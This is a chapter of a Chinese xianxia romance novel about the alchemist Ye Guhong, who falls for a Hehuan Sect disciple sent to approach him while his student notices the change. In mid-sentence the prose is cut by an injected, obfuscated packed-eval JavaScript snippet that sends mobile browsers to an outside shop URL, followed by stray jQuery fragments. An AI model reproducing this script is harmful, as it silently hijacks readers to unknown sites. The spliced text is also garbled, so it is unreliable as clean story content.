叶孤鸿不知道自己是从什么时候开始变成这样的。
也许是那天清晨在桃林中，她递给他一枝桃花的时候。晨光正好从她身后照过来，把她握花的手指照得微微透明，像一枚刚被露水洗过的贝壳。她递过来的那枝花既不算特别好看，也不曾精心修剪过，只是随手折下的普通花枝，可他还是接了过来，放在身边。那天晚上，他回到丹房后，发现自己把那枝桃花带回来了，插在桌角一只空置的瓷瓶里。他看了它很久，像一个在试图辨认自己为何会做出某件细小之事的人。
也许是那天深夜在丹房中，她握着他的手流泪的时候。她的手指穿过他的指缝，像一枚被风送到他面前的落叶，轻轻贴上来，又微微颤了一下。她没有说话，只是攥着他的手，眼泪无声地落在交握的指节上。他感觉到那些泪水正沿着他的手背渗进皮肤的纹路里，像雨水渗入干裂的土壤，无声地浸润着深层的缝隙。他活了两百年，从未被任何人的眼泪烫伤过，可那一刻，他感觉自己的手背正在缓慢地、无声地留下一道看不见的灼痕。
也许是刚才，她说“来”的时候。她站在暮色里，说那个字的时候语气很轻，像一枚落在水面上的叶子，没有激起任何波纹。可他却觉得那个字像一枚种子，正沿着他的耳廓缓缓滑入他的身体内部，在没有阳光的角落里无声地扎根，等他察觉时，那根系已经蔓延得比他想象中更深了。它沿着他的脊椎向下伸展，在他的胸腔里缠绕了几圈，最后停在了他心脏偏左的位置上。他修剪过无数次药草，却没有办法修剪这一株。它不肯被拔除，因为他从未真正想要拔除它。
他活了两百年，从没有过这种感觉。心跳加速，呼吸急促，手心出汗，脑海中全是她的影子。她的眼睛，她的笑容，她的声音，她的眼泪。他记得她低头看手中花瓣时眼睑边缘那一道极浅的弧线，记得她微微歪着头听他说丹道时，额前碎发从耳后滑落的样子，记得她笑起来时那双眼睛里会浮起一层薄薄的光，像水面被月光照亮了一瞬，又像许多年后他依然能回想起这片暮色的温度。那些细节像一件被反复折叠过的旧衣裳，每一道褶皱里都藏着一段他已经无法归还的时间。他试图把它们放回原处，可它们像被风吹散的种子，散落在他的记忆里，无法再被聚拢。
他告诉自己这是不对的。他是丹道尊者，是修仙界有头有脸的人物，怎么能对一个合欢宗的女弟子动心？更何况，她是苏怜幽的棋子。他比谁都清楚她接近他是带着任务的——那些灵茶、药材、功法玉简，每一次被递到他面前的借口都带着被精心修剪过的边角。他知道，可他还是想见她，想听她说话，想看她笑。那种渴望像毒药一样渗入他的骨髓，让他欲罢不能。
他在炼丹时开始走神。有一次，他在往丹炉里投一味药材时，手中的药草在炉口上方停留了太久，火焰已经爬上来，烧焦了草叶的边缘，他才猛地回神。那炉丹最后还是毁了，废渣沉在炉底，像一片被他无意中烧毁的、再也无法拼回原样的记忆。他没有告诉任何人那炉丹是怎么毁的，只是把它扫进废料匣里，像埋葬什么似的轻轻盖上了盖子。
他的弟子最先察觉到了异常。那天午后，弟子捧着刚送来的药材走进丹房时，看见他正坐在窗边发呆。他面前的丹炉早已冷却，炉膛里连余烬都不剩了，可他还是保持着那个姿势，目光落在窗外某处，像在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728655|206662||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看一片还没有到来的晚霞。弟子在门口站了一会儿，才轻轻开口：“师父，您最近怎么了？”
叶孤鸿回过神，目光从窗外收回来，落在自己空荡荡的手掌上。他的手指正微微蜷曲着，像在握着一件他以为自己还握着、实际上早已不在的东西。“没有。”他说，声音平淡得像在陈述一件已经确认过很多次的事。“最近有些累。”他的弟子看着他，欲言又止。他张了张嘴，又合上了，像在犹豫要不要把那句已经成型的话说出口。他确实怀疑师父的变化是因为那个合欢宗的女弟子——那个最近频繁出现在丹房附近的身影。他见过她几次，穿着素色的长裙，捧着茶壶或药罐，脚步轻缓得像踩在落叶上。他看见师父接过她递来的东西时，手指会在交接处多停留一瞬，像在确认那件器物的温度是否还和他记忆中一致。他没有说出口，因为他知道师父是一个不愿意被触碰边界的人。他已经把那些疑问压回舌根，只等时机合适的时候再吞下去，却还是没能完全按住尾音。
那天晚上，叶孤鸿独自站在丹房窗前。月光从窗棂间漏进来，落在他面前的地面上，像一条正在缓慢展开的银白色织物。他的手指搭在窗沿上，微微蜷曲着，像在回忆那个傍晚她在他掌心留下的温度。他不知道自己还能这样站多久，也不知道那些正在他体内蔓延的根系会在什么时候停止生长。他只知道，当晨光照进这间丹房时，他还会坐在老位置上，像一枚已经被潮水包围了很久的礁石，正在缓慢地、无声地，被一层又一层的浪涌覆盖。他正在缓慢地、不可逆转地，落向一处他从未抵达过的深渊，而那片深渊没有名字，没有形状，只有她坐在晨光里，抬头看他的样子。